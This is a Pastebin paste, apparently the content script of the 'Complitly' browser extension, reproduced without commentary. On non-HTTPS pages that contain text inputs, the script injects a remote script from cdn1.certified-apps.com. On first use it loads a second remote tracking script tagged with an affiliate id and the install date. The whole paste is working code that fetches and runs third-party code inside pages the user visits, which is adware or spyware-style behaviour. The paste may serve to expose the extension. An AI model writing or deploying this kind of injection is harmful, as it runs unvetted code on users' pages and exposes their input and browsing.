Krenair

Complitly contentscript.js

Aug 18th, 2012
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. try{    
  2.         //dont inject the code to ssl pages
  3.         if (document.documentURI.search(/^https/gi) != -1) return;
  4.        
  5.         var p_elements = document.getElementsByTagName('input');
  6.         var p_type='';
  7.         var p_lowerType='';
  8.         var p_valid_inputs=0;
  9.         if (p_elements.length > 0) {
  10.             for (var i = 0; i < p_elements.length; i++) {
  11.                 if (p_elements[i] == null) continue;
  12.                 p_type = p_elements[i].getAttribute('type');
  13.                 if (p_type == null || p_type == '') type = 'text';
  14.                 if (p_type == 'search') p_type = 'text';
  15.                 p_lowerType = p_type.toLowerCase();
  16.                 //if its hidden and shit - dont send it
  17.                 if (p_lowerType != 'text') {
  18.                     continue;
  19.                 }
  20.                 p_valid_inputs++;
  21.              }
  22.         }
  23.         if (p_valid_inputs>0) {
  24.             var bho_html_doc =document.getElementsByTagName('head')[0];
  25.             _js =document.createElement('script');
  26.             _js.setAttribute('type','text/javascript');
  27.             _js.setAttribute('src','http://cdn1.certified-apps.com/scripts/shared/enable.js?si=6754');
  28.             bho_html_doc.appendChild(_js);
  29.         }
  30. }
  31. catch(pex){ };
  32.  
  33. //first call
  34. try{
  35.     var firstUse = localStorage["firstUseFired6754"];
  36.     if (firstUse==null||firstUse==""){
  37.             var date = new Date();
  38.             var installDate = date.getFullYear() + "-" + (date.getMonth() + 1)  + "-" + date.getDate();
  39.             var firstTimeScript = 'http://cdn1.certified-apps.com/scripts/shared/mark.js?ai=146026&amp;sd=' + installDate;
  40.        
  41.             var first_html_doc =document.getElementsByTagName('head')[0];
  42.             var _js2 =document.createElement('script');
  43.             _js2.setAttribute('type','text/javascript');
  44.             _js2.setAttribute('src',firstTimeScript);
  45.             first_html_doc.appendChild(_js2);
  46.             localStorage["firstUseFired6754"]="1";
  47.     }
  48. }catch (e ){
  49. }
Advertisement
Add Comment
Please, Sign In to add comment